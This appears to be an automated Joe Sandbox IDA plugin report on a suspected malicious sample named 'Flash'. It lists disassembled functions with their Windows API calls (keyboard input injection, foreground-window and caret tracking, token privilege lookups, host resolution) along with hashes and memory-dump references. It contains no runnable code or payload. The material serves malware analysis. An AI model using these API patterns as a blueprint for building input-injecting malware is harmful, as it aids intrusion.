Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: d4ade65c3f208799b73e0dbb0d51e8e84b77417bc26797320c0f7ad859a99113
Instruction ID: c1b39739b3eda2d9387c7fa76cb436016c47e1ea07ea21e48df8871398e41751
Opcode Fuzzy Hash: d4ade65c3f208799b73e0dbb0d51e8e84b77417bc26797320c0f7ad859a99113
Instruction Fuzzy Hash: AF316970A44208AEFF34CB658C05BFEBBB9AB44320F04831AF4915A6D1D3B48D829B91

Function 00A31410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00A31465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00A31481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00A314E0
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00A31532

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 9cf3af8c0740edae94f3bb39e30daef51740e9e222858c6f18b91c959596cc9d
Instruction ID: adf2d065a5df70f8e1058ab2b6946e05acf54094a0f6be0922feb8d061779a3a
Opcode Fuzzy Hash: 9cf3af8c0740edae94f3bb39e30daef51740e9e222858c6f18b91c959596cc9d
Instruction Fuzzy Hash: 0C315BB09407185EFF34CB659C04FFEBBB5AB85310F08831AF491521D1D3788D959BA1

Function 00A063F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00A0642B
__isleadbyte_l.LIBCMT ref: 00A06459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00A06487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00A064BD

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: ed0ff02370182989ee12a8e903397f3315acb1b2071e26dab7ccb577d5751e15
Instruction ID: 774a20ad35fe0efcc3a470e2259c88da060994582e7873a9dd9661fc41f2b47d
Opcode Fuzzy Hash: ed0ff02370182989ee12a8e903397f3315acb1b2071e26dab7ccb577d5751e15
Instruction Fuzzy Hash: 2731B03160025AAFDB218F65EE44BBB7BB9FF41324F154129E8648B1D1DB32E8A1DB50

Function 00A5552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00A5553F

Part of subcall function 00A33B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00A33B4E
Part of subcall function 00A33B34: GetCurrentThreadId.KERNEL32 ref: 00A33B55
Part of subcall function 00A33B34: AttachThreadInput.USER32(00000000,?,00A355C0), ref: 00A33B5C

GetCaretPos.USER32(?), ref: 00A55550
ClientToScreen.USER32(00000000,?), ref: 00A5558B
GetForegroundWindow.USER32 ref: 00A55591

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 6b554e1d7805e1caa48b6dd1a5462758c4f89de8a950f75b843ac7d96c8c7aca
Instruction ID: 990089e9ea0fd6eef51500a567ec6636f5ace6d5d4e882ca0028d6e3aa034cf9
Opcode Fuzzy Hash: 6b554e1d7805e1caa48b6dd1a5462758c4f89de8a950f75b843ac7d96c8c7aca
Instruction Fuzzy Hash: B6310E71D00108AFDB10EFB5D985EEFB7F9EF98304F10806AE515E7241EA75AE458BA0

Function 00A5CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

GetCursorPos.USER32(?), ref: 00A5CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00A0BCEC,?,?,?,?,?), ref: 00A5CB8F
GetCursorPos.USER32(?), ref: 00A5CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00A0BCEC,?,?,?), ref: 00A5CC16

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: e4d05f28c21eeb49c241ef44a3a9ea1b56ae84b941826d6ee91e10a33de5d8fa
Instruction ID: d1d5236a911ee8f9eeb1589d7148a71af4628e8ce02f4fb4b67a9702cf54e110
Opcode Fuzzy Hash: e4d05f28c21eeb49c241ef44a3a9ea1b56ae84b941826d6ee91e10a33de5d8fa
Instruction Fuzzy Hash: 1D31C134600118AFCB15CF94C859EBE7BB5FB49321F048099FD059B261C7315D51EFA0

Function 009F0BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 009F0BE2

Part of subcall function 009E402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00A37E51,?,?,00000000), ref: 009E4041
Part of subcall function 009E402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00A37E51,?,?,00000000,?,?), ref: 009E4065

_fprintf.LIBCMT ref: 009F0C19
OutputDebugStringW.KERNEL32(?), ref: 00A2694C

Part of subcall function 009F4CCA: _flsall.LIBCMT ref: 009F4CE3

__setmode.LIBCMT ref: 009F0C4E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 3a2d28e0832a3d8ecf165cc95a95e640339ea71458f23f85a06609e7e7d7e183
Instruction ID: 92362219744cbe097b86c8a9205e50ab637c49110456ed947c4eed2cac004bec
Opcode Fuzzy Hash: 3a2d28e0832a3d8ecf165cc95a95e640339ea71458f23f85a06609e7e7d7e183
Instruction Fuzzy Hash: 29110231A042086ACB08B7B9AC46BBE7B6D9FC0321F14051AF304972C2DE655D9247A1

Function 00A29274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A28D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00A28D3F
Part of subcall function 00A28D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D49
Part of subcall function 00A28D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D58
Part of subcall function 00A28D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D5F
Part of subcall function 00A28D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00A292C1
_memcmp.LIBCMT ref: 00A292E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A2931A
HeapFree.KERNEL32(00000000), ref: 00A29321

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 649168c5ed70e31b777794168d7c7ba137729982b629d512b93685454a92586f
Instruction ID: 8a9a76154a2e6d03b218a937425253b2f67768c417adc8d99f3437e4ede64ccd
Opcode Fuzzy Hash: 649168c5ed70e31b777794168d7c7ba137729982b629d512b93685454a92586f
Instruction Fuzzy Hash: 35219A32E40219EFDF10DFA8D945BEFB7B8EF44701F044069E894AB290D770AA45CBA0

Function 00A5634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00A563BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A563D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A563E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00A563F3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: f1a72764a5089f460fc55f426e8e5f1c6e77c64400f49d6486414e0f2ce76423
Instruction ID: e1d91013bac578fe95bfc36155616d46bf99e5bb065eb4aea67fb8c78150e9ce
Opcode Fuzzy Hash: f1a72764a5089f460fc55f426e8e5f1c6e77c64400f49d6486414e0f2ce76423
Instruction Fuzzy Hash: CE11DC31340414AFD700AB28DC44FBA77A9EF85320F14821AF916CB2E2CBB0AD01CB90

Function 00A2E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A2F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00A2E46F,?,?,?,00A2F262,00000000,000000EF,00000119,?,?), ref: 00A2F867
Part of subcall function 00A2F858: lstrcpyW.KERNEL32(00000000,?), ref: 00A2F88D
Part of subcall function 00A2F858: lstrcmpiW.KERNEL32(00000000,?,00A2E46F,?,?,?,00A2F262,00000000,000000EF,00000119,?,?), ref: 00A2F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00A2F262,00000000,000000EF,00000119,?,?,00000000), ref: 00A2E488
lstrcpyW.KERNEL32(00000000,?), ref: 00A2E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00A2F262,00000000,000000EF,00000119,?,?,00000000), ref: 00A2E4E2

Strings

cdecl, xrefs: 00A2E4D9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 6f2dc55f4200b6b70e70879bbea3ddcf8e0461d7716ac19a75343bf6b0080f70
Instruction ID: 56767bb7f16694dde4e78772df350e8cb27fcd6c12cd049e4ba1bcdfe7535f70
Opcode Fuzzy Hash: 6f2dc55f4200b6b70e70879bbea3ddcf8e0461d7716ac19a75343bf6b0080f70
Instruction Fuzzy Hash: 14118136100355AFDB25EF68E845D7A77B9FF45350B40403AF906CB2A0EB719991C791

Function 00A05312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A05331

Part of subcall function 009F593C: __FF_MSGBANNER.LIBCMT ref: 009F5953
Part of subcall function 009F593C: __NMSG_WRITE.LIBCMT ref: 009F595A
Part of subcall function 009F593C: RtlAllocateHeap.NTDLL(00F50000,00000000,00000001,?,00000004,?,?,009F1003,?), ref: 009F597F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 8ac77a581adb36b75e76a21ec2050f4713647a4d7e412c5e65f20e1987678537
Instruction ID: f4d8377447245e66c1f1e3f5c6f8571843728c964ace0cbdc1481c6044f24c1a
Opcode Fuzzy Hash: 8ac77a581adb36b75e76a21ec2050f4713647a4d7e412c5e65f20e1987678537
Instruction Fuzzy Hash: 6811A732D05A1DAFCB252FB0BC1577B37E89F543A1B104926FA589E1D0DEB489418F91

Function 00A34365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00A34385
_memset.LIBCMT ref: 00A343A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00A343F8
CloseHandle.KERNEL32(00000000), ref: 00A34401

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: a0956d4579b6225c9d95be98576131fa1dfa905ee3747cdea6e72a2599db7033
Instruction ID: d61e09a7fc0e8b7fcd72e1ae956c54340f5414648b2a9e8672385a97b9ea4a0f
Opcode Fuzzy Hash: a0956d4579b6225c9d95be98576131fa1dfa905ee3747cdea6e72a2599db7033
Instruction Fuzzy Hash: 5C110A719012287AD7309BA5AC4DFEBBB7CEF45720F00469AF908E7280D6744E808BA4

Function 00A46A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009E402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00A37E51,?,?,00000000), ref: 009E4041
Part of subcall function 009E402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00A37E51,?,?,00000000,?,?), ref: 009E4065

gethostbyname.WSOCK32(?,?,?), ref: 00A46A84
WSAGetLastError.WSOCK32(00000000), ref: 00A46A8F
_memmove.LIBCMT ref: 00A46ABC
inet_ntoa.WSOCK32(?), ref: 00A46AC7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: e49c961faf69214926ad4c66fb3dd2a81de3c101495a2681b5fc536b51f484aa
Instruction ID: 4461d5fede1e9b670ab0511bdeac58368cc1f7e2d5fd8245d326d1727d2afab1
Opcode Fuzzy Hash: e49c961faf69214926ad4c66fb3dd2a81de3c101495a2681b5fc536b51f484aa
Instruction Fuzzy Hash: 6D119076500009AFCB00EFE4CD46DAEB7B9EF98301B148065F502A72A2DF30AE40CBA1

Function 00A296F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00A29719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A2972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A29741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00A2975C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ee94eb93af4a8acc9c4f5091a3c4bf041124dcddcc266a3b966101a9872faf2b
Instruction ID: 8d9e7bbb5b1095847dce9f6db0df2ea1c151c967d4bc8c3e9037340244e7a6bf
Opcode Fuzzy Hash: ee94eb93af4a8acc9c4f5091a3c4bf041124dcddcc266a3b966101a9872faf2b
Instruction Fuzzy Hash: EA115E39900218FFDB10DF99CD84EDEBBB8FB48710F2040A5E900B7250D6716E11DB90

Function 009D166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

DefDlgProcW.USER32(?,00000020,?), ref: 009D16B4
GetClientRect.USER32(?,?), ref: 00A0B93C
GetCursorPos.USER32(?), ref: 00A0B946
ScreenToClient.USER32(?,?), ref: 00A0B951

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 17261e51c18218d8f3e500519f13f8d5ebdfcf82a0e1c3bb9cd9fc5db9a17016
Instruction ID: 87f2b7cf37b3fee39f7c5da8ef78d2b9ef73f5ce7c151df41f9b0e0923838565
Opcode Fuzzy Hash: 17261e51c18218d8f3e500519f13f8d5ebdfcf82a0e1c3bb9cd9fc5db9a17016
Instruction Fuzzy Hash: D7112876A40019BBCB00EF94D985DBE77B9FB45301F548456F941E7250C770BA92CBB1

Function 009D2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009D214F
GetStockObject.GDI32(00000011), ref: 009D2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 009D216D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: ce93890c4a7357a7854cd20968dc7df8c61860d8e9f6fd5ff5f269f674ff11bb
Instruction ID: 5331e4f80e9a85ffd2e0d7276fbaf50251df71b0a6466ee1a803aa0c5a6cecf8
Opcode Fuzzy Hash: ce93890c4a7357a7854cd20968dc7df8c61860d8e9f6fd5ff5f269f674ff11bb
Instruction Fuzzy Hash: 8511AD72145509BFDF028F90DC44EEBBB6DEF68354F048212FA0452220C771DCA1DBA0

Function 00A31941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00A304EC,?,00A3153F,?,00008000), ref: 00A3195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00A304EC,?,00A3153F,?,00008000), ref: 00A31983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00A304EC,?,00A3153F,?,00008000), ref: 00A3198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00A304EC,?,00A3153F,?,00008000), ref: 00A319C0

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 4a8febcd977497443e67f7f78d7134ab1d205b2e9df3774b6edbbec7f7cf4275
Instruction ID: db7cfa9d1ab704c14b4cff5f9c7466c10a02d2fea13062d33df3344fc3deec81
Opcode Fuzzy Hash: 4a8febcd977497443e67f7f78d7134ab1d205b2e9df3774b6edbbec7f7cf4275
Instruction Fuzzy Hash: EC112731D0462DDBCF00DFE5D998BEEBBB8FF09751F014555E980B2240CB3096A18B91

Function 00A5E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00A5E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 00A5E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 00A5E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 00A5E234

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

